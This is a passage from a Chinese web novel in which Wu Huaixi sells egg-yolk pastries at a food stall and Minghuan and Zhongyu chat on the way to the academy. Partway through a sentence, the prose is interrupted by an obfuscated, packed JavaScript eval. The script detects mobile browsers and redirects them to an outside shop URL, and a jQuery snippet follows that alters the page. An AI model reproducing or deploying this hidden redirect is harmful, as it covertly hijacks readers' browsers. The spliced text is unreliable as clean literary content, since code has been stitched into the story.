这叫他哪还管烫不烫,在嘴里滚上一圈,便不烫了。 一口下去,酥脆的外皮充斥着浓郁的面香与油香,而内里确实柔软湿润。 “呼!好烫!” 钱大哥咬了一半,烫到了舌尖。定睛一瞧,那内里竟淌着金黄色的流沙,沙沙的口感中混着甜咸与奶香。 “吴小娘子,这怎么同生煎包似的,还能吃出一股牛乳香。这外皮好酥,真是酥掉牙了!” 钱大哥一边讲,一边将掉落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12663570|131525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在碟子里的酥皮全都拾了嚼了去,一点儿都不舍得浪费。 “是加了一些牛乳进去,钱大哥尝着味道如何?” 刚刚端出来时,她自己也尝了一个。 虽然没有现代的电烤箱,但春生他们搭的泥灶子可是个天然的烤箱,木炭让它受热更加均匀,这让蛋黄酥的外皮更加酥脆。 “绝。” 蛋黄酥比清明粑还受欢迎,三文钱就能买到酥饼店里七八文钱一只的酥饼,谁都想买来尝尝。 更有不少孩童,与父母亲撒娇,拿了三文钱来排起长龙。 当然这长长的队伍中,依旧有着明大官人。 “十个,必须来十个。还有昨日的清明粑礼盒,我是定了三份的噢。” 明轩哪还有一本正经的样子,他手指夹着一只蛋黄酥,丹凤眼微微眯起,上扬的嘴角旁挂着一层酥皮。 这是他对蛋黄酥最佳的肯定。 “仲玉,我同你讲,这简直就是超级无敌的美味!” 明轩打包了蛋黄酥,又跑到仲玉面前去晃悠。 “也是那吴小娘子做的?” 仲玉今日倒是没有拒绝,反而自然而然地接过蛋黄酥,咬了一口,细细地咀嚼。 “对头。” 明轩将又分给了仲玉一只,将其他的藏进了怀里,“不过仲玉,我还以为你不会吃小食摊上的吃食呢。毕竟我听伙计讲你喝菌子汤要喝羊肚菌的,喝老鸭汤还要反复挑上一只最好的,还有......” "聒噪。" 仲玉吃完一只蛋黄酥,将另一只仔细包好,“再同你讲,来不及去书院了。” “得,你们读书人是这样子的。” 明轩识相地给仲玉让了道,“得亏咱们孙大人不爱读书,要是以后让我侍候一位‘之乎者也’的大人,我想都不敢想!” 仲玉闻言,脚步一滞,面上带着一抹似有若无的笑,“这可说不准。” 去书院要途经小食摊。 春雨依旧细细密密地下着,落在河里。 远远瞧见那位吴小娘子今日穿着一条翠竹的衣裙,笑意盈盈地夹着一个蛋黄酥,递给小食摊前垫着脚的孩童。 仲玉看了几眼,便在同窗的催促下往书院去了。 蛋黄酥卖得极快,小食摊上很快就只剩下吃朝食的食客。 却有人抖着一身蓑衣而来,等他斗笠拿掉后,惊异地看清了吴怀夕的面庞。 “嫂嫂?”